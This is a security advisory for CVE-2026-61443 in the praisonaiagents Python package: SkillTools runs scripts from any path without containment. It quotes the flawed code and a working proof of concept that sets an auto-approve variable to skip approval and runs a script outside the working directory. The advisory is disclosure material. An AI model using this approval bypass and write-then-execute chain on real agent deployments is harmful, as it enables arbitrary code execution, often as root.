GHSA-c44f-37qr-gw3f

Suggest an improvement
Source
https://github.com/advisories/GHSA-c44f-37qr-gw3f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c44f-37qr-gw3f/GHSA-c44f-37qr-gw3f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c44f-37qr-gw3f
Aliases
  • CVE-2026-61443
Published
2026-10-08T16:49:23Z
Modified
2026-10-08T17:00:10Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
Details

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Database specific
{
    "cwe_ids": [
        "CWE-22",
        "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:49:23Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
}
References

Affected packages

PyPI / praisonaiagents

Package

Name
praisonaiagents
View open source insights on deps.dev
Purl
pkg:pypi/praisonaiagents

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.6.78

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
0.0.36
0.0.37
0.0.38
0.0.39
0.0.40
0.0.41
0.0.42
0.0.43
0.0.44
0.0.45
0.0.46
0.0.47
0.0.48
0.0.49
0.0.50
0.0.51
0.0.52
0.0.53
0.0.54
0.0.56
0.0.57
0.0.58
0.0.59
0.0.60
0.0.61
0.0.62
0.0.63
0.0.64
0.0.65
0.0.66
0.0.67
0.0.68
0.0.69
0.0.70
0.0.71
0.0.72
0.0.73
0.0.74
0.0.75
0.0.76
0.0.77
0.0.78
0.0.79
0.0.80
0.0.81
0.0.82
0.0.83
0.0.84
0.0.85
0.0.86
0.0.87
0.0.88
0.0.89
0.0.90
0.0.91
0.0.92
0.0.93
0.0.94
0.0.95
0.0.96
0.0.97
0.0.98
0.0.99
0.0.100
0.0.101
0.0.102
0.0.103
0.0.104
0.0.105
0.0.106
0.0.107
0.0.108
0.0.109
0.0.110
0.0.111
0.0.112
0.0.113
0.0.114
0.0.115
0.0.116
0.0.117
0.0.118
0.0.119
0.0.120
0.0.121
0.0.122
0.0.123
0.0.124
0.0.125
0.0.126
0.0.127
0.0.128
0.0.129
0.0.130
0.0.131
0.0.132
0.0.133
0.0.134
0.0.135
0.0.136
0.0.137
0.0.138
0.0.139
0.0.140
0.0.141
0.0.142
0.0.143
0.0.144
0.0.145
0.0.146
0.0.147
0.0.148
0.0.149
0.0.150
0.0.151
0.0.152
0.0.153
0.0.154
0.0.155
0.0.156
0.0.157
0.0.158
0.0.159
0.0.160
0.0.161
0.0.162
0.0.163
0.0.164
0.0.165
0.0.166
0.0.167
0.0.168
0.0.169
0.0.170
0.0.171
0.0.172
0.0.173
0.0.174
0.0.175
0.0.176
0.0.177
0.0.178
0.0.179
0.0.180
0.0.181
0.0.182
0.0.183
0.0.184
0.0.185
0.0.187
0.0.188
0.0.189
0.0.190
0.0.191
0.0.192
0.0.193
0.0.194
0.0.195
0.0.196
0.0.197
0.0.198
0.0.199
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
0.1.11
0.1.12
0.1.13
0.1.14
0.1.15
0.1.16
0.1.17
0.1.18
0.1.19
0.1.20
0.1.21
0.1.22
0.1.23
0.1.24
0.1.25
0.1.26
0.1.27
0.2.0
0.2.1
0.2.2
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.4.0
0.4.1
0.5.0
0.5.1
0.5.2
0.5.3
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.6.6
0.6.7
0.6.8
0.7.0
0.7.1
0.8.0
0.8.1
0.9.0
0.9.1
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.10.5
0.10.6
0.10.7
0.10.8
0.10.9
0.10.10
0.11.0
0.11.1
0.11.2
0.11.3
0.11.4
0.11.5
0.11.6
0.11.7
0.11.8
0.11.9
0.11.10
0.11.11
0.11.12
0.11.13
0.11.14
0.11.15
0.11.16
0.11.17
0.11.18
0.11.19
0.11.20
0.11.21
0.11.22
0.11.23
0.11.24
0.11.25
0.11.27
0.11.28
0.11.29
0.11.30
0.11.31
0.12.0
0.12.1
0.12.2
0.12.3
0.12.4
0.12.5
0.12.6
0.12.7
0.12.8
0.12.9
0.12.10
0.12.11
0.12.12
0.12.13
0.12.14
0.12.15
0.12.16
0.12.17
0.12.18
0.12.19
0.12.20
0.12.21
0.13.0
0.13.1
0.13.2
0.13.3
0.13.4
0.13.5
0.13.6
0.13.7
0.13.8
0.13.9
0.13.10
0.13.11
0.13.12
0.13.13
0.13.14
0.13.15
0.13.16
0.13.17
0.13.18
0.13.19
0.13.20
0.13.21
0.13.22
0.13.23
0.14.0
0.14.1
0.14.2
0.14.3
0.14.4
0.14.5
0.14.6
0.14.7
0.14.8
0.14.9
0.14.10
0.14.11
0.14.12
0.14.14
0.14.15
0.14.16
0.15.0
0.15.1
0.15.2
0.15.3
1.*
1.0.0
1.1.0
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0
1.3.1
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.5.0
1.5.1
1.5.2
1.5.3
1.5.5
1.5.6
1.5.7
1.5.8
1.5.9
1.5.10
1.5.11
1.5.12
1.5.13
1.5.14
1.5.15
1.5.16
1.5.17
1.5.18
1.5.19
1.5.20
1.5.21
1.5.22
1.5.23
1.5.24
1.5.25
1.5.26
1.5.27
1.5.28
1.5.29
1.5.30
1.5.31
1.5.32
1.5.33
1.5.34
1.5.35
1.5.36
1.5.37
1.5.38
1.5.39
1.5.40
1.5.41
1.5.42
1.5.43
1.5.44
1.5.45
1.5.46
1.5.47
1.5.48
1.5.49
1.5.50
1.5.51
1.5.52
1.5.53
1.5.54
1.5.55
1.5.56
1.5.57
1.5.58
1.5.59
1.5.60
1.5.61
1.5.62
1.5.63
1.5.64
1.5.65
1.5.66
1.5.67
1.5.68
1.5.69
1.5.70
1.5.71
1.5.72
1.5.73
1.5.74
1.5.75
1.5.76
1.5.77
1.5.78
1.5.79
1.5.80
1.5.81
1.5.82
1.5.83
1.5.84
1.5.85
1.5.86
1.5.87
1.5.88
1.5.89
1.5.90
1.5.91
1.5.92
1.5.93
1.5.94
1.5.95
1.5.96
1.5.97
1.5.98
1.5.99
1.5.100
1.5.101
1.5.102
1.5.103
1.5.104
1.5.105
1.5.106
1.5.107
1.5.108
1.5.109
1.5.110
1.5.111
1.5.112
1.5.113
1.5.114
1.5.115
1.5.116
1.5.117
1.5.118
1.5.119
1.5.120
1.5.121
1.5.122
1.5.123
1.5.124
1.5.125
1.5.126
1.5.127
1.5.128
1.5.129
1.5.130
1.5.131
1.5.132
1.5.133
1.5.134
1.5.135
1.5.136
1.5.137
1.5.138
1.5.139
1.5.140
1.5.141
1.5.142
1.5.143
1.5.144
1.5.145
1.5.146
1.5.147
1.5.148
1.5.149
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.6.10
1.6.11
1.6.12
1.6.13
1.6.14
1.6.15
1.6.16
1.6.17
1.6.18
1.6.19
1.6.20
1.6.21
1.6.22
1.6.23
1.6.24
1.6.25
1.6.26
1.6.27
1.6.28
1.6.29
1.6.30
1.6.31
1.6.32
1.6.33
1.6.34
1.6.35
1.6.36
1.6.37
1.6.38
1.6.39
1.6.40
1.6.41
1.6.42
1.6.43
1.6.44
1.6.45
1.6.46
1.6.47
1.6.48
1.6.50
1.6.51
1.6.52
1.6.53
1.6.54
1.6.55
1.6.56
1.6.57
1.6.58
1.6.59
1.6.60
1.6.62
1.6.63
1.6.64
1.6.65
1.6.66
1.6.67
1.6.68
1.6.69
1.6.70
1.6.71
1.6.72
1.6.73
1.6.74
1.6.75
1.6.76
1.6.77

Database specific

last_known_affected_version_range
"<= 1.6.77"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c44f-37qr-gw3f/GHSA-c44f-37qr-gw3f.json"